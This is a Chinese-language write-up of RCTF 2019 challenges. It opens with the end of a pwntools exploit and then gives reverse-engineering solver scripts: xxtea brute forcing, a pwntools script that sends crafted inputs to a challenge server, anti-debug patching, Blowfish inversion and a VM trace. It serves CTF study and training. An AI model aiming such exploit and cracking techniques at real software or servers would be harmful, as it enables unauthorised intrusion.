print "payload:"
print payload
print len(payload)
rv(4096)
sl(payload)
result = rl()
print "[+]Get Flag:"
print result
p.close()
Re
babyre1
首先校验flag长度为16,然后进行16进制编码
然后我们看看sub_555555555180
这个函数将input视为4个dword的数,然后xxtea decrypt,且解密后的字符串最后一字节要<4,至于xxtea的识别的话,可以发现它用了常数0x9E3779B9,这是标准tea家族的算法需要用的参数,然后参考这个博客:
https://www.jianshu.com/p/4272e0805da3
可以发现是xxtea解密
后面再经过一个check后要输出Bingo!可以发现的是,最后一轮check并不会改变输入的值,且我们只有密文的最后两位是未知的,然后hint又给了md5,那么最后一轮就没有逆的必要了,直接爆破一下
import xxtea
import hashlib;
def decrypt(text,key):
return xxtea.decrypt(text, key,padding=False);
def encrypt(text,key):
return xxtea.encrypt(text, key,padding=False);
key = [0xc7,0xe0,0xc7,0xe0,0xd7,0xd3,0xf1,0xc6,0xd3,0xc6,0xd3,0xc6,0xce,0xd2,0xd0,0xc4]
key = ''.join( [ chr(i) for i in key ] );
cipher = [0x55,0x7e,0x79,0x70,0x78,0x36,0,0];
for i in range(0xff):
print i;
for j in range(4):
cipher[6]=i;
cipher[7]=j;
t = encrypt( ''.join( [ chr(k) for k in cipher ] ) , key);
t = t.encode('hex');
t = "rctf{" + t + "}"
# print i,j,t;
# print hashlib.md5(t).hexdigest()
if ( hashlib.md5(t).hexdigest()=="5f8243a662cf71bf31d2b2602638dc1d" ):
print 'get!!!!!!!!!!!!!!!!!!!';
print t;
# rctf{05e8a376e4e0446e}
babyre2
和第一题同样用了xxtea,程序的大致逻辑为:
用account作为xxtea的密钥来加密一串常量,得到s1
用password进行一些变换后来索引data的值来构造一个字符串s2
将s2每位^0xcc后解密s1,如果解密的结果最后一位<4就get flag
且可以发现的是第一次加密的常量最后一位<4,那么构造account==s2^0xcc就完事了
from pwn import *
from LibcSearcher import *
s = lambda data : p.send(data);
sl = lambda data : p.sendline(data);
sla = lambda st,data : p.sendlineafter(st,data);
sa = lambda st,data : p.sendafter(st,data);
context.log_level = 'DEBUG';
p = remote("139.180.215.222 ",20000);
sa("account:","2"*16);
sa("password:","1"*16 );
sa("data:",("1"*36+chr(ord('2')^0xcc)+'23456').encode('hex') );
p.interactive();
#rctf{f8b1644ac14529df029ac52b7b762493}
DontEatME
开头有ZwSetInformationThread的反调试,全部patch掉即可,然后伪随机数生成以一串key,来初始化Blowfish,然后中间那一大段就是Blowfish的解密过程,但是我试了一下,好像不太对,应该是作者魔改了某些地方。
然后这一坨东西呢,唯一的作用就是生成了dword_4053A8这个表
这里就是根据dword_4053A8和一些判断来check,可以直接跑dfs出答案
dword_4053A8 = [1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L]
b = [0x61,0x64,0x73,0x77,0]
v32 = 10;
v33 = 0;
v34 = 5;
v35 = 160;
def get(x):
global v32;
global v33;
global v34;
global v35;
if (x==0x61):
v34-=1;
if (x==0x64):
v34+=1;
if (x==0x73):
v32+=1;
v35+=16;
if (x==0x77):
v32-=1;
v35-=16;
def recover(x):
global v32;
global v33;
global v34;
global v35;
if (x==0x61):
v34+=1;
if (x==0x64):
v34-=1;
if (x==0x73):
v32-=1;
v35-=16;
if (x==0x77):
v32+=1;
v35+=16;
ans = [0]*16;
def dfs(x):
global v32;
global v33;
global v34;
global v35;
if x==16:
if v32==4 and v34==9:
print ans;
return ;
else :
return;
for j in b:
get(j);
ans[x] = j;
if dword_4053A8[v35+v34]!=1:
dfs(x+1);
recover(j);
return ;
dfs(0);
可以发现只有唯一一组解:[100, 100, 100, 100, 119, 119, 119, 97, 97, 97, 119, 119, 119, 100, 100, 100]得到加密后的结果之后,就得逆那个Blowfish,由于不知道作者魔改了什么地方,因此我只好自己手动求逆了
key_table= [3240133568, 1745476834, 3452267107, 1321242865, 569233882, 3262172914, 804074711, 2212451896, 3586228949, 3213295876, 2580307897, 3987242710, 844129917, 1301868125, 523187267, 1271787320, 262594588, 3722290984]
t4= [1168098725, 2143783412, 4223038891, 1704033917, 4178117343,
......此处应有省略号......
4234728569, 227098560, 3450504956, 490211951]
def f(x):
a1 = x&0xff;
a2 = (x&0xff00)>>8;
a3 = (x&0xff0000)>>16;
a4 = (x&0xff000000)>>24;
return t1[a1]+( t2[a2]^(t3[a3]+t4[a4]) );
def decrypt(xl,xr):
v10 = 17;
i = 0;
for i in range(16):
xl = xl ^ key_table[v10];
v10-=1;
temp = xl;
xl = xr ^ f(xl);
xr = temp;
xl &=0xffffffff;
xr &=0xffffffff;
# print i,hex(xl),hex(xr),v10;
xr^=key_table[0];
xl^=key_table[1];
return hex(xr),hex(xl);
def encrypt(xl,xr):
v10 = 2;
i = 0;
xr^=key_table[0];
xl^=key_table[1];
for i in range(16):
pre_xl = xr ^ key_table[v10];
v10+=1;
xr = f(xr)^xl;
xl = pre_xl;
xl &=0xffffffff;
xr &=0xffffffff;
# print i,hex(xl),hex(xr),v10;
return hex(xl),hex(xr);
a = "64646464777777616161777777646464"
ans = ""
for i in range(0,len(a),16):
a1 = int(a[i:i+8],16);
a2 = int(a[i+8:i+16],16);
a1,a2 = encrypt(a2, a1);
ans +=a1[2:-1];
ans +=a2[2:-1];
print ans,len(ans);
# RCTF{db824ef8605c5235b4bbacfa2ff8e087}
crack
限制程序输入的前512位只能是0 or 1,然后会根据你的输入来解密一个函数,但由于最后的函数是未知的,因此直接求逆不可能,但程序限制了v27,也就是根据输入取解密后的值x,然后v27-=x,最后要求v27==0,乍一看这只能爆破,但其实猜想一下要使程序能用非爆破的方式求解的话,v27很可能是一个特殊的数字,例如最大值,最小值,如果这么一想,那这其实就是一个在矩阵里按照特殊规则取数,然后求最大值的问题,那么这其实就是非常一个简单的dp问题f[i][j]=max(f[i-1][j],f[i-1][j-1])+a[i][j]
贴一下脚本,写的很急,很丑,且因为担心有多解,还加了一些判断
#include<iostream>
using namespace std;
unsigned long long f[1111][1111];
unsigned long long a[1111][1111];
unsigned long long t=0;
int num=0;
struct ha{
int v[20];
int num;
};
ha c[1111][1111];
void get(int x,int y){
if (x<1||y<1){
cout<<"!!!!!!!!!!!!!!!wrong case! "<<x<<" "<<y<<endl;
return ;
}
if (x==1&&y==1){
cout<<"0";
return;
}
if (x==1&&y==2){
cout<<"1";
return ;
}
if (c[x][y].num>1) {
cout<<x<<" "<<y<<endl;
cout<<"not just one answer"<<c[x][y].num<<endl;
}
if ( c[x][y].v[0]==1 ){
get(x-1,y-1);
cout<<"1";
}
else {
get(x-1,y);
cout<<"0";
}
}
int main(){
freopen("func.mem","r",stdin);
for (int i=1;i<=0x200;i++){
for (int j=1;j<=0x200;j++){
scanf("%lld",&a[i][j]);
// cin>>a[i][j];
//cout<<hex<<a[i][j]<<endl;
}
}
t = 0;
int i=1;
for (int j=1;j<=0x200;j++){
if (j<=2) i=1;
else i=j-1;
for (;i<=0x200;i++){
f[i][j] = max( f[i-1][j]+a[i][j], f[i-1][j-1]+a[i][j] );
// cout<<hex<<f[i][j]<<endl;
if ( f[i-1][j]+a[i][j] == f[i-1][j-1]+a[i][j] ){
c[i][j].num = 0;
c[i][j].v[ c[i][j].num++ ] = 0;
c[i][j].v[ c[i][j].num++ ] = 1;
continue;
}
if (f[i][j]==f[i-1][j]+a[i][j]){
c[i][j].v[ 0 ] = 0;
c[i][j].num=1;
}
else {
c[i][j].num=1;
c[i][j].v[ 0 ] = 1;
}
t = max(t,f[i][j]);
if (f[i][j]>=0x100758E540F){
get(i,j);cout<<endl;
cout<<"i get one "<<i<<" "<<j<<" "<<hex<<f[i][j]<<endl;
}
}
}
}
可以发现v27的值确实是最大值,且是唯一解
00000000010101000000000111100111111110100111100101001000101010010011101100111101011111111111111111001110111011011000000101110111001111100100011000000000000110001111110100000000001101110111010101011111000101110000011000111001110000000000000000000000011001000010000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000011100011111110000100111000000000000000000000000000000010000000000000001000001100000000000000101000000000100000010000000000000000010000000000000000000000
然后我们动态跟一下解密后的函数: sub_431A020,发现是个vm
先打印一下日志,看看程序在干啥
粗略的打印了一下
00 Mov reg[0] , 0x26a
03 Mov reg[1] , reg[0]
02 reg[0]=input[0]
1a 01 Mov reg[1] , 0x30 input[i]-=0x30
0c Sub reg[0] , reg[1]
03 Mov reg[1] , reg[0]
......此处应有省略号......
06 reg[0]=reg[6] (0x11)
01 Mov reg[1] , 0x7
0d Mul reg[0] , reg[1]
01 Mov reg[1] , 0xf423f
16 reg[0] == reg[1] reg[0]=0 //check
01 Mov reg[1] , 0xc36
1a jump c36
00 Mov reg[0] , 0x928a000
逻辑很简单
input="123"
for i in range(len(input)):
v6+= (ord(input[i])-0x30)<<i
print v6;
print hex(v6);
# v6*7 == 0xf423f
因为长度是未知的,因此我随便找了一个解79889000968999
(注意,答案是分两部分,这是第二部分的)
带到vm里,发现指令数暴增,且由于我这个vm模拟的不全面,还会报错,大致分析了一下后面的功能,可以发现它貌似也在解密什么东西,最主要的是,后面的操作都和input没啥关系,因此直接将第一轮的答案+第二轮带入
@C0mRaDe
抱歉, many_note的wp整理的时候搞错了, 把两种思路混在一起写了.
many_note有两种做法, 上面的wp使用的是第一种
第一种:
师傅们tql
由于RE部分的脚本太长,这里并没有全部贴上来,完整的RE wp可见https://github.com/coomrade/RCTF2019